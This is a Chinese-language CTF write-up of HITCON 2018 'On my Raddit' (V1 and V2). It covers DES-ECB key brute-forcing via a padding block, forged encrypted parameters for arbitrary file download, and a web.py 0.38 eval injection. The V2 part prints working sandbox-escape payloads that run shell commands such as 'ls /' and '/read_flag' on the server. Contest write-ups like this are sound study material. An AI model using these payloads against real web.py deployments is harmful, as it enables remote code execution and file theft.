2018 HITCON On my Raddit
On my Raddit
orange 大大出的這個題與其放在 Web 裡,不如放在 Crypto 裡。這裡說一下比賽時的思路。
開啟題目:
flag 是加密金鑰,而 hint
提示加密金鑰是 小寫字母
。還有一個 P
的提示。
檢視一波原始碼:
可以看到都是 ?s=密文
的形式。網頁提供了一個頁面顯示多少文章的選項,我們關注一下這塊的原始碼:
可以看到兩個密文前 64bit是一樣的,後 64bit 不同,可以推斷 64 bit 應該是一個分組,而且明文應該是 salt+number
的形式,salt 相同導致第一段密文相同。
接著我開始分析下面的連結的密文,起初我的想法是分析密文長度,根據密文長度和文章名的長度來推測 salt 的格式(文章名字越長密文越長),但是這個 salt 格式推了半天發現也沒有卵用。
這個題不同於一般的密碼題,一般都是要還原明文,這裡 flag 是金鑰,知道了明文也沒用。
陷入了瓶頸,想找原始碼洩露找不到,掃一波目錄還把我 ip ban了一會...
可用資訊看來就這麼多。想起提示金鑰是小寫字母,無疑縮小範圍。如果不給這個提示, 2^56
我絕對爆破不出來,既然給了這個提示,所以我的思路就是爆破。
通過分組長度是 64bit可以推測加密演算法應該是 DES,常用的應該也就 DES 分塊是 64 bit。接下來需要找到明密文對,我原始碼裡搜尋了一下 limit=10 的連結密文後 64bit: 3ca92540eb2d0a42 結果發現了點東西:
發現竟然有 18 處這個密文! 仔細觀察發現都在末尾!!
豁然開朗,看來這是 ECB 模式的 DES,這麼多相同的密文絕不是巧合,一定是相同的明文。相同的明文都在而且都在最後,顯然是 Padding 的時候,如果明文長度正好是分塊的長度。假設分塊長度是 8 位元組,那麼這種情況下會補8個 08
位元組。詳細的請看下 PKCS5
填充規則。想起了提示 P 應該就是提示 Padding 。
這八個 08 位元組加密的密文都是 3ca92540eb2d0a42,所以有 18 處這塊密文。
找到了明密文對,直接開始爆破的話,那就是 26^8
,我計算了一下是 2^38
,我覺得是爆不出來...
想到了 DES 實際可用的金鑰只有 56 bit,比如第一個位元組是'b',那麼金鑰前八位是 01100010
,注意這裡最後一位的 0 沒有作用,在 DES 中每個位元組的最後一位時被丟棄的,也就是說第一個位元組用 b 加密和用 c 加密沒有區別。
這樣的話,b 和 c 效果一樣,d 和 e 效果一樣,也就是我們只需要 13^8==2^30
步就可以遍歷完,直接爆破:
(指令碼很醜,而且單執行緒)
# _*_ coding:utf-8 _*_ from Crypto.Cipher import DES list="acegikmoqsuwy" for a in list: key1 = a for b in list: key2 = key1 + b for c in list: key3 = key2 + c for d in list: key4 = key3 + d for e in list: key5 = key4 + e for f in list: key6 = key5 + f for g in list: key7 = key6 + g for h in list: key = key7 + h print key obj = DES.new(key) if obj.decrypt("3ca92540eb2d0a42".decode("hex"))=="0808080808080808".decode("hex"): print key exit()
5 點多開始跑,跑到8點多結束了... 打印出來的 key 是: megooaso
,注意這不是真正的金鑰,除去 a,剩下的都有和它相鄰字元等價效果的,沒辦法我想把所以字串打出來,看看哪個像個單詞:
# _*_ coding:utf-8 _*_ for a in "lm": key1 = a for b in "de": key2 = key1 + b for c in "fg": key3 = key2 + c for d in "no": key4 = key3 + d for e in "no": key5 = key4 + e for f in "a": key6 = key5 + f for g in "rs": key7 = key6 + g for h in "no": key = key7 + h print key
挨個看發現沒有像單詞的... l 開頭的應該不是,m 開頭的試了試,最終 megnnaro
是 flag。
hitcon{megnnaro}
另外看了 orange 的解答才發現用 hashcat 秒解... 但是我的 hashcat 不知怎麼回事用不了,照著師傅們的命令執行都不行orz。有成功使用 hashcat 解出來的師傅可以聯絡一下我給我指點一波...還有的師傅找到了別的明密文對,只能說 tql ,對著這一大串能猜出另外的明密文對。 orange 題解中說用 python 單執行緒 10 min跑完,不知道這個 10 min 怎麼來的...我跑了快三個小時。
這個題的第二關 On my Raddit V2 題目說是 getshell,一樣的環境。有了金鑰我就可以把那些密文都解出來,解出來那些只是些沒有用的東西:
u=70c97cc1-079f-4d01-8798-f36925ec1fd7&m=r&t=Ghostbuster%3A+Detecting+the+Presence+of+Hidden+Eavesdroppers+%5Bpdf%5D
不過題目有個下載檔案的地方:
把那個連結解密一下: m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec1fd7.pdf
應該可以任意下載檔案,根據 hint.py 可以推斷這是 python 寫的,那麼下載一波 app.py。
m=d&f=app.py 加密得到e2272b36277c708bc21066647bc214b8 發過去 http://13.115.255.46/?S=e2272b36277c708bc21066647bc214b8
可以下到app.py:
# coding: UTF-8 import os import web import urllib import urlparse from Crypto.Cipher import DES web.config.debug = False ENCRPYTION_KEY = 'megnnaro' urls = ( '/', 'index' ) app = web.application(urls, globals()) db = web.database(dbn='sqlite', db='db.db') def encrypt(s): length = DES.block_size - (len(s) % DES.block_size) s = s + chr(length)*length cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB) return cipher.encrypt(s).encode('hex') def decrypt(s): try: data = s.decode('hex') cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB) data = cipher.decrypt(data) data = data[:-ord(data[-1])] return dict(urlparse.parse_qsl(data)) except Exception as e: print e.message return {} def get_posts(limit=None): records = [] for i in db.select('posts', limit=limit, order='ups desc'): tmp = { 'm': 'r', 't': i.title.encode('utf-8', 'ignore'), 'u': i.id, } tmp['param'] = encrypt(urllib.urlencode(tmp)) tmp['ups'] = i.ups if i.file: tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file})) else: tmp['file'] = '' records.append( tmp ) return records def get_urls(): urls = [] for i in [10, 100, 1000]: data = { 'm': 'p', 'l': i } urls.append( encrypt(urllib.urlencode(data)) ) return urls class index: def GET(self): s = web.input().get('s') if not s: return web.template.frender('templates/index.html')(get_posts(), get_urls()) else: s = decrypt(s) method = s.get('m', '') if method and method not in list('rdp'): return 'param error' if method == 'r': uid = s.get('u') record = db.select('posts', where='id=$id', vars={'id': uid}).first() if record: raise web.seeother(record.url) else: return 'not found' elif method == 'd': file = s.get('f') if not os.path.exists(file): return 'not found' name = os.path.basename(file) web.header('Content-Disposition', 'attachment; filename=%s' % name) web.header('Content-Type', 'application/pdf') with open(file, 'rb') as fp: data = fp.read() return data elif method == 'p': limit = s.get('l') return web.template.frender('templates/index.html')(get_posts(limit), get_urls()) else: return web.template.frender('templates/index.html')(get_posts(), get_urls()) if __name__ == "__main__": app.run()
其實之後才瞭解到,orange 的本意是拿到了一個等效金鑰,然後就去讀到原始碼,這樣就能看到金鑰了。這句提示:
當時沒有注意到...就去窮舉試了 (不敢寫提交 flag 的指令碼怕被 ban)
On my Raddit V2(復現)
web.py 審不動... 跟著師傅們復現了一波。
賽後跟 Nu1l 和 TD 的師傅請教了一波,師傅甩出的連結: https://securityetalii.es/2014/11/08/remote-code-execution-in-web-py-framework/
,看了半天也不知道和此題聯絡在哪。
才得知這題要追 web.py 的原始碼。
除了上面下的 app.py,還要下一個 requirements.txt
文件
encrypt("m=d&f=requirements.txt") -> fc3769d67641424d59387bf7f393b4e4d0acd96cd08fe232 payload: ?s=fc3769d67641424d59387bf7f393b4e4d0acd96cd08fe232
發現 web.py 版本是 0.38,所以這個 ofollow,noindex">連結 的洞還沒有修徹底。
開始看連結與題聯絡不到一起,之後才知道要追 web.py 原始碼。在 app.py 中這句程式碼:
去追這個 limit:
發現代入了查詢裡,限制查詢出的結果數。
追 web.py 的原始碼,也就是 db.select
函式,就能追到連結的地方:
def reparam(string_, dictionary): """ Takes a string and a dictionary and interpolates the string using values from the dictionary. Returns an `SQLQuery` for the result. >>> reparam("s = $s", dict(s=True)) <sql: "s = 't'"> >>> reparam("s IN $s", dict(s=[1, 2])) <sql: 's IN (1, 2)'> """ dictionary = dictionary.copy() # eval mucks with it vals = [] result = [] for live, chunk in _interpolate(string_): if live: v = eval(chunk, dictionary) result.append(sqlquote(v)) else: result.append(chunk) return SQLQuery.join(result, '')
文中說了 The entry points to reparam() are functions _where(), query(), and gen_clause()
query() 對應的就是此題的 db.select
,這裡看到了非常顯眼的 eval。
根據連結中的方法構造 payload:
import urllib import urlparse from Crypto.Cipher import DES ENCRPYTION_KEY = 'megnnaro' def encrypt(s): length = DES.block_size - (len(s) % DES.block_size) s = s + chr(length)*length cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB) return cipher.encrypt(s).encode('hex') def decrypt(s): try: data = s.decode('hex') cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB) data = cipher.decrypt(data) data = data[:-ord(data[-1])] return dict(urlparse.parse_qsl(data)) except Exception as e: print e.message return {} print encrypt(urllib.urlencode({'m': 'p', 'l': "${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__):getthem['__import__']('os').system('ls / > /tmp/gml.txt'))()}"})) print encrypt(urllib.urlencode({'m':'d','f':'/tmp/gml.txt'}))
看看根目錄有啥東西,這裡沒有回顯所以我們把執行結果寫入檔案再去下載:
執行結果:
d65ae2bb276bdf2f82e5ca0761781060ba0fcf988b736644cad7a2d2573b2a14c1b40eb540be086f3aa5f06aca4d6711fda9a6f7c2c02a1ab2f85c12c3e7dea5a9c2c8651bb6f693428382a9bad41786fd02051f7cfeb780a84ffa34580feb1a50cc07436f62822e6ac2317036d4928833716d46e3c45e026435ca0c4c2720eab52bdd0761d538f8d5a5b977e3cea74591e1d2322b3d28c8c55ec1158e6ab8a6db604049da47bab499c188967f1429e4766afbc74000e282c325980adf54fe049dedb22857cad08805ac90492fb40f443d734e28b8700a935b1d479a042f03548a35227ec717b2b5bee3bac58d5ae4add21bdbd2653d63691ca068a2bd875b32f132007c8a1d5e7c12cd963db7c487ddafb51c16b96b4757 4373ac92f9aea2e244e5098a963b4b3c1ee96782d23e0f27
挨個訪問,下載到 ls 的命令結果:
看到了 read_flag
,執行這個應該就可以得到 flag,修改payload:
print encrypt(urllib.urlencode({'m': 'p', 'l': "${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__):getthem['__import__']('os').system('/read_flag > /tmp/gml.txt'))()}"})) print encrypt(urllib.urlencode({'m':'d','f':'/tmp/gml.txt'}))
結果:
d65ae2bb276bdf2f82e5ca0761781060ba0fcf988b736644cad7a2d2573b2a14c1b40eb540be086f3aa5f06aca4d6711fda9a6f7c2c02a1ab2f85c12c3e7dea5a9c2c8651bb6f693428382a9bad41786fd02051f7cfeb780a84ffa34580feb1a50cc07436f62822e6ac2317036d4928833716d46e3c45e026435ca0c4c2720eab52bdd0761d538f8d5a5b977e3cea74591e1d2322b3d28c8c55ec1158e6ab8a6db604049da47bab499c188967f1429e4766afbc74000e282c325980adf54fe049dedb22857cad08805ac90492fb40f443d734e28b8700a935b1d479a042f03548a35227ec717b2b543324bca0702d4140e4bdc4c1ebe0ea54e28b1ed72c5f16ec1f8c82e7f139f375a806b6212666f872dfbb2d1031b37ca9e581b6f767797bd 4373ac92f9aea2e244e5098a963b4b3c1ee96782d23e0f27
挨個訪問,可以得到 flag:
hitcon{Fr0m_SQL_Injecti0n_t0_Shell_1s_C00L!!!}
參考: